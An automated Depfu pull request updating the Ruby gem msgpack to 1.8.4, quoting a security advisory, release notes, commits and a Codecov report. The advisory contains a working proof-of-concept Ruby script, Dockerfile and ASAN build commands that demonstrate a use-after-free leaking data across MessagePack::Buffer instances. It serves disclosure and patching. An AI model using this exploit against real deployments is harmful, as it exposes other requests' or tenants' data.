🚨 [security] Update msgpack 1.8.0 → 1.8.4 (patch)

[depfu]

---

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

---

Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

↗️ msgpack (indirect, 1.8.0 → 1.8.4) · Repo · Changelog

Security Advisories 🚨

🚨 MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

• msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
• Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
• A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
• Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"
# 1) PoC

cat > poc.rb <<'RUBY'

b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)

b1.write('M'  1000); b1.write('A'  200); b1.write('N'  1000)

b1.clear

b1.write('C'  128)

secret = ('s'  200) + ('ABCD'  32) + ('t'  400)

b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)

b2.write(secret)

leaked = b1.read_all

donor  = b2.read_all

puts 'b1_first64:' + leaked.byteslice(0, 64)

puts 'b2_donor64:' + donor.byteslice(200, 64)

puts 'leaked_is_C:' + (leaked == 'C'  128).to_s

puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s

RUBY
# 2) ASAN build of msgpackfrom rubygems

cat > Dockerfile <<'DOCKER'

FROM ruby:3.3-bookworm

RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*

RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && </span>

    cd msgpack-1.8.1/ext/msgpack && </span>

    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && </span>

    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so

DOCKER

docker build -t msgpack-asan-poc .
# 3) Run under ASAN

docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc 

bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Release Notes

1.8.4 (from changelog)

* Fix `MessagePack::Buffer` to stop using already released memory page.
  This could have caused data to leak across buffers when using the MessagePack::Buffer API
  directly.

1.8.3 (from changelog)

* Fix an integer overflow when parsing maps.

1.8.2 (from changelog)

* Fix `Buffer#clear` to properly reset memory chunks before adding them back to the pool.
  This could have caused data to leak across buffers when using the MessagePack::Buffer API
  directly. [CVE-PENDING].

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 40 commits:

• Release 1.8.4
• Merge pull request #399 from Watson1978/fix-rmem-page-ownership
• Fix rmem page released while a later chunk still points into it
• Merge pull request #398 from hsbt/claude/vigilant-chebyshev-63ce11
• Merge pull request #397 from Watson1978/fix-recursive-ext-stack-overflow
• Build deep recursive-extension spec payload without deep recursion
• Skip recursive-extension StackError spec on JRuby
• Raise StackError instead of crashing on deeply nested recursive extensions
• Fix build failure on mswin due to empty UNREACHABLE_RETURN()
• Move dev dependencies in the Gemfile
• Merge pull request #396 from skipkayhil/hm-skokvxlqtrxvuppu
• Speed up immediate unpack when freeze: true by 10%
• Rename object_complete_symbol -> frozen
• Merge pull request #394 from skipkayhil/hm-vokstoouszvzmyxu
• Merge pull request #393 from skipkayhil/hm-yqwsmsuyszxwvnnm
• Fix yard warnings
• Cleanup dead method and dependencies
• Update Changelog
• Release 1.8.3
• Merge pull request #391 from msgpack/map-size-wrap
• Handle integer overflow when parsing maps.
• Release 1.8.2
• Stop testing ruby 2.5 on macOS
• Merge commit from fork
• _msgpack_buffer_shift_chunk: reset rmem pointers when fully empty
• Release 1.8.1
• Merge pull request #389 from msgpack/str-limit
• Update CI matrix
• Update CI matrix
• Don't pre-allocate strings larger than the buffered size
• Merge pull request #386 from msgpack/fix-valgrind-ci
• Fix valgrind installation on CI
• Merge pull request #385 from amatsuda/https
• msgpack.org is served under https now
• Merge pull request #384 from amatsuda/metadata
• More metadata for the gem package
• Use different name for shim implementation of rb_hash_new_capa
• Merge pull request #382 from seedot1234/update-license-in-gemspec
• Update Apache license identifier
• Fix documentation update instructions

---

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands

@​depfu rebase

Rebases against your default branch and redoes this update

@​depfu recreate

Recreates this PR, overwriting any edits that you've made to it

@​depfu merge

Merges this PR once your tests are passing and conflicts are resolved

@​depfu cancel merge

Cancels automatic merging of this PR

@​depfu close

Closes this PR and deletes the branch

@​depfu reopen

Restores the branch and reopens this PR (if it's closed)

@​depfu pause

Ignores all future updates for this dependency and closes this PR

@​depfu pause [minor|major]

Ignores all future minor/major updates for this dependency and closes this PR

@​depfu resume

Future versions of this dependency will create PRs again (leaves this PR as is)

[depfu]

Sorry, but the merge failed with:

At least 1 approving review is required by reviewers with write access.

[codecov]

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 96.93%. Comparing base (cea64f1) to head (5dc44b7).

Additional details and impacted files

@@           Coverage Diff            @@
##           develop     #937   +/-   ##
========================================
  Coverage    96.93%   96.93%           
========================================
  Files           81       81           
  Lines         1861     1861           
========================================
  Hits          1804     1804           
  Misses          57       57           

Flag	Coverage Δ
pull_request	96.93% <ø> (ø)
push	96.93% <ø> (ø)
ruby	96.93% <ø> (ø)

Flags with carried forward coverage won't be shown. Click here to find out more.

☔ View full report in Codecov by Harness.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:

• ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.